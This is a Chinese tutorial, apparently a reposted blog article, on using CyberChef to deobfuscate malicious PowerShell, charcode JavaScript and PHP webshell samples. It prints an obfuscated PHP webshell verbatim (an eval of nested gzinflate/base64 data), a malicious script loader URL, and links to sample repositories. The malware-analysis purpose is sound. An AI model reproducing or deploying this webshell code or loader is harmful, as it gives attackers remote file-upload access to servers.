CyberChef编码工具、反混淆神器

一、概述

CyberChef是一款强大的编码转换器,简单易懂易上手,它集成了多种编码转换的功能,如:base64加解密、hex转换、char转换、正则表达式等,能辅助大家方便快捷地解密出恶意的脚本。

其界面如下图,最左边的Operations是转换工具集,把你挑选好的工具经过DIY组合及排序拖拽到Recipe中,就可以对Input中的字符串进行相应地解密操作了,工具很多,可以在Search框中搜索,输出结果会打印在Output窗口中。

二、实战演示

多说无益,下面就来进行实战演示吧!

2.1 powershell脚本反混淆

首先来尝试使用CyberChef来解密一个经过混淆的powershell脚本,把样本下载下来,发现样本经过了高强度的混淆,无法直接分析其做了什么操作。

样本地址:https://www.hybrid-analysis.com/sample/cc9c6c38840af8573b8175f34e5c54078c1f3fb7c686a6dc49264a0812d56b54?environmentId=120

接下来将样本内容复制到Input窗口中,第一步,是要将其中的base64数据筛选出来,怎么筛选呢,当然是用正则表达式,好,那就把Regular expression拖进来,然后在Regex框中编写规则。将红框中的Output format改为高亮,就可以清晰地看到规则匹配到了哪些字符串了。

 通过上述的方式,成功写出了匹配base64的正则表达式:[0-9a-zA-Z/+=]{30,},筛选长度在30以上的可视字符串,将Output format改为List matches模式,就能截取这段base64了。 

然后把From base64拖进来,成功解密出字符串。 

扫描二维码关注公众号,回复: 14291598 查看本文章

不对啊,怎么解密完还是一堆乱码?别急,注意看Input框中的脚本,在base加密前还有个DelfateStream加密操作呢,那就把Raw Inflate拖进来,轻松解密,Output中已经显现出可以进行分析的恶意代码了。 

这还不够,CyberChef还有Generic Code Beautify工具对代码进行美颜,能优化代码格式,看起来更友好,至此,解密工作就完成了,很简单吧。 

解密后的powershell脚本大致看了下是个下载木马的dropper,本文主要介绍工具的解密用法,就不对该样本进行深入分析了。

发现没有,上面的解密方法(正则->base64->inflate)其实可以通用到大部分ps脚本解密步骤中,可以点击save recipe按钮将它保存起来,命名为powershell-deflate-base64,后面遇到相似的混淆脚本就能使用该规则进行解密。

2.2 char型恶意脚本反混淆

仅次于base64,char字符的混淆方式也被常见于恶意脚本中,下面就来看看CyberChef

如何轻松解密char型字符串。

样本地址:https://gist.github.com/jonmarkgo/3431818

首先使用正则表达式([0-9]{2,3}(,\s|))+筛选脚本中的char型字符串。

然后使用From Charcode对上述char型字符串进行转换,在转换前需要将间隔符Delimiter选为Comma(逗号),Base选为10进制,就可以解密出恶意代码了,恶意代码是一段JS代码,其中还隐藏有一段char型字符串。 

再次重复上述操作,就可以解密出加载的核心恶意脚本的地址为:https://examhome.net/stat.js?v=1.0.1xamhome。 

2.3 webshell反混淆

webshell跟powershell恶意脚本的混淆方式也大致相同,也常使用base64进行混淆,不过下面的这个webshell有点特别,它循环使用base64加密了二十多次(这种加密方式在某些APT攻击样本中也出现过),也就是说得对它进行二十多次的解密......

 样本地址:https://github.com/LordWolfer/webshells/blob/b7eefaff64049e3ff61e90c850686135c0ba74c4/from_the_wild1.php

<?php eval(gzinflate(base64_decode("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"))); ?>

使用之前的powershell-deflate-base64规则进行解密,发现它解密出来还是一段base64加密脚本,那该怎么办呢,总不能重复手工重复操作吧,会累死的。

CyberChef提供了一种循环的方法,可以省去手工操作的工作。首先在powershell-deflate-base64的开头加个Label,自定义命名为start,意思指循环的开始。 

然后在powershell-deflate-base64的末尾拖入Jump,Jump的地址为start,Maximum jumps填入要循环的次数。 

经过试验,发现循环解密21次后就能得到混淆前的恶意脚本了,这是一个PHP的文件上传webshell。 

三、总结

CyberChef可以简单理解为是一个脚本解密工具的集合,除此之外,它其实还有很多黑科技,比如解析网络数据包里的数据、解析图片的地理位置及时间信息等等,工具之多,可能会看的眼花缭乱,挑选的时候也要找很久,所以你应当将常用的工具加入到Favourites栏中,方便使用。

项目地址:https://github.com/mattnotmax/cyber-chef-recipes#recipe-1---extract-base64-raw-inflate-and-code-beautify

猜你喜欢

转载自blog.csdn.net/u012206617/article/details/125349229